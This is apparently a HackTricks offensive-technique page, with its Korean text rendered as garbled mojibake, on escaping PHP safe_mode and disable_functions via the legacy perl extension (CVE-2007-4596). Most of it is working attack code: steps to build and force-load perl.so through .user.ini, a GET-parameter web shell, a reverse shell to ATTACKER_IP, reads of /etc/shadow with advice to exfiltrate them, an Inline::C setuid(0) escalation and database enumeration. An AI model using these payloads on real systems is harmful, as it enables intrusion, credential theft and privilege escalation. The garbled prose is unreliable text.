PHP Perl Extension Safe_mode Bypass Exploit
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋ฐฐ๊ฒฝ
๋ฌธ์ ๋ CVE-2007-4596๋ก ์ถ์ ๋๋ฉฐ, ๋ ๊ฑฐ์ perl PHP extension์์ ๋น๋กฏ๋ฉ๋๋ค. ์ด ํ์ฅ์ ์์ ํ Perl ์ธํฐํ๋ฆฌํฐ๋ฅผ ํฌํจํ๋ฉฐ PHP์ safe_mode, disable_functions, open_basedir ์ ์ด๋ฅผ ๋ฌด์ํฉ๋๋ค. extension=perl.so๋ฅผ ๋ก๋ํ๋ PHP ์์ปค๋ Perl eval์ ๋ํ ๋ฌด์ ํ ์ ๊ทผ์ ์ป์ด, ์ ํต์ ์ธ PHP ํ๋ก์ธ์ค ์์ฑ ํ๋ฆฌ๋ฏธํฐ๋ธ๊ฐ ๋ชจ๋ ์ฐจ๋จ๋์ด๋ ๋ช
๋ น ์คํ์ด ๋งค์ฐ ์ฝ์ต๋๋ค. safe_mode๋ PHP 5.4์์ ์ฌ๋ผ์ก์ง๋ง, ๊ตฌ์ ๊ณต์ ํธ์คํ
์คํ๊ณผ ์ทจ์ฝํ ์ค์ต ํ๊ฒฝ์๋ ์์ง ๋จ์ ์์ผ๋ฏ๋ก ๋ ๊ฑฐ์ ์ ์ดํ์ ์ ๊ทผํ์ ๋ ์ด ์ฐํ๋ ์ฌ์ ํ ์ ์ฉํฉ๋๋ค.
ํธํ์ฑ ๋ฐ ํจํค์ง ์ํ (2025)
- ๋ง์ง๋ง PECL ๋ฆด๋ฆฌ์ค (
perl-1.0.1, 2013)์ PHP โฅ5.0์ ๋์์ผ๋ก ํฉ๋๋ค; Zend APIs ๋ณ๊ฒฝ์ผ๋ก PHP 8+์์๋ ์ผ๋ฐ์ ์ผ๋ก ์คํจํฉ๋๋ค. - PECL์ PIE๋ก ๋์ฒด๋๊ณ ์์ง๋ง, ์ค๋๋ ์คํ์ ์ฌ์ ํ PECL/pear๋ฅผ ์ ๊ณตํฉ๋๋ค. PHP 5/7 ํ์ ์๋ ์๋ ์ ์ฐจ๋ฅผ ์ฌ์ฉํ์ธ์; ์ต์ PHP์์๋ ๋ค์ด๊ทธ๋ ์ด๋ํ๊ฑฐ๋ ๋ค๋ฅธ ์ฃผ์ ๊ฒฝ๋ก(์: userland FFI)๋ก ์ ํํด์ผ ํ ์ ์์ต๋๋ค.
ํ ์คํธ ๊ฐ๋ฅํ ํ๊ฒฝ ๊ตฌ์ถ (2025)
- PECL์์
perl-1.0.1์ ๊ฐ์ ธ์ ๊ณต๊ฒฉํ๋ ค๋ PHP ๋ธ๋์น์ฉ์ผ๋ก ์ปดํ์ผํ ๋ค ์ ์ญ(php.ini) ๋๋dl()์ ํตํด ๋ก๋ํ์ธ์(ํ์ฉ๋๋ ๊ฒฝ์ฐ). - Quick Debian-based lab recipe:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
- ๊ณต๊ฒฉ ์ค์๋
var_dump(extension_loaded('perl'));๋๋print_r(get_loaded_extensions());๋ก ์ฌ์ฉ ๊ฐ๋ฅ ์ฌ๋ถ๋ฅผ ํ์ธํ์ธ์. ์์ผ๋ฉดperl.so๋ฅผ ๊ฒ์ํ๊ฑฐ๋ ์ฐ๊ธฐ ๊ฐ๋ฅํphp.ini/.user.iniํญ๋ชฉ์ ์ ์ฉํด ๊ฐ์ ๋ก๋ํ์ธ์. - ์ธํฐํ๋ฆฌํฐ๊ฐ PHP ์์ปค ๋ด๋ถ์ ์กด์ฌํ๋ฏ๋ก ์ธ๋ถ ๋ฐ์ด๋๋ฆฌ๋ ํ์ ์์ต๋๋คโ๋คํธ์ํฌ ์ด๊ทธ๋ ์ค ํํฐ๋
proc_open๋ธ๋๋ฆฌ์คํธ๋ ์ํฅ์ ์ฃผ์ง ์์ต๋๋ค.
phpize์ ์ ๊ทผ ๊ฐ๋ฅํ ๊ฒฝ์ฐ์ ์จํธ์คํธ ๋น๋ ์ฒด์ธ
๋ง์ฝ phpize์ build-essential์ด ์์๋ ํธ์คํธ์ ์กด์ฌํ๋ค๋ฉด, OS์ ์
ธ์ ์คํํ์ง ์๊ณ ๋ perl.so๋ฅผ ์ปดํ์ผํด ๋ฐฐ์นํ ์ ์์ต๋๋ค:
# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini
open_basedir๊ฐ ์ ์ฉ๋์ด ์๋ค๋ฉด, ์์ฑํ .user.ini์ .so๊ฐ ํ์ฉ๋ ๊ฒฝ๋ก์ ์์นํ๋์ง ํ์ธํ์ธ์; extension= ๋๋ ํฐ๋ธ๋ basedir ๋ด๋ถ์์๋ ์ฌ์ ํ ์ ์ฉ๋ฉ๋๋ค. ์ปดํ์ผ ํ๋ฆ์ PECL ํ์ฅ ๋น๋๋ฅผ ์ํ PHP ๋งค๋ด์ผ์ ๋ฐ๋ฆ
๋๋ค.
Original PoC (NetJackal)
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, ์ฌ์ ํ ํ์ฅ์ด eval์ ์๋ตํ๋์ง ํ์ธํ๋ ๋ฐ ์ ์ฉํฉ๋๋ค:
<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "</textarea>";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>
์ต์ Payload ๊ฐ์
1. Full TTY over TCP
์๋ฒ ๋๋ ์ธํฐํ๋ฆฌํฐ๋ /usr/bin/perl๊ฐ ์ฐจ๋จ๋์ด ์์ด๋ IO::Socket์ ๋ก๋ํ ์ ์๋ค:
$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN, '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);
2. open_basedir๊ฐ ์ค์ ๋์ด ์์ด๋ ํ์ผ ์์คํ
ํ์ถ
Perl์ PHP์ open_basedir์ ๋ฌด์ํ๋ฏ๋ก ์์์ ํ์ผ์ ์ฝ์ ์ ์์ต๋๋ค:
$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');
์ถ๋ ฅ์ IO::Socket::INET ๋๋ Net::HTTP๋ก ํ์ดํํ์ฌ PHP๊ฐ ๊ด๋ฆฌํ๋ ๋์คํฌ๋ฆฝํฐ๋ฅผ ๊ฑด๋๋ฆฌ์ง ์๊ณ ๋ฐ์ดํฐ๋ฅผ exfiltrate ํ์ธ์.
3. ์ธ๋ผ์ธ ์ปดํ์ผ for Privilege Escalation
์์คํ
์ ์ญ์ Inline::C๊ฐ ์กด์ฌํ๋ค๋ฉด, PHP์ ffi๋ pcntl์ ์์กดํ์ง ์๊ณ ์์ฒญ ๋ด๋ถ์์ ํฌํผ๋ฅผ ์ปดํ์ผํ์ธ์:
$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);
4. Living-off-the-Land Enumeration
Perl์ LOLBAS ํดํท์ฒ๋ผ ๋ค๋ค๋ผ โ ์: mysqli๊ฐ ์์ด๋ MySQL DSNs๋ฅผ ๋คํํ๋ผ:
$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');
์ฐธ๊ณ ์๋ฃ
- CVE-2007-4596 summary and timeline
- PECL perl extension package information
- PHP Manual: building PECL extensions with phpize
- PECL homepage announcing PIE replacement
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


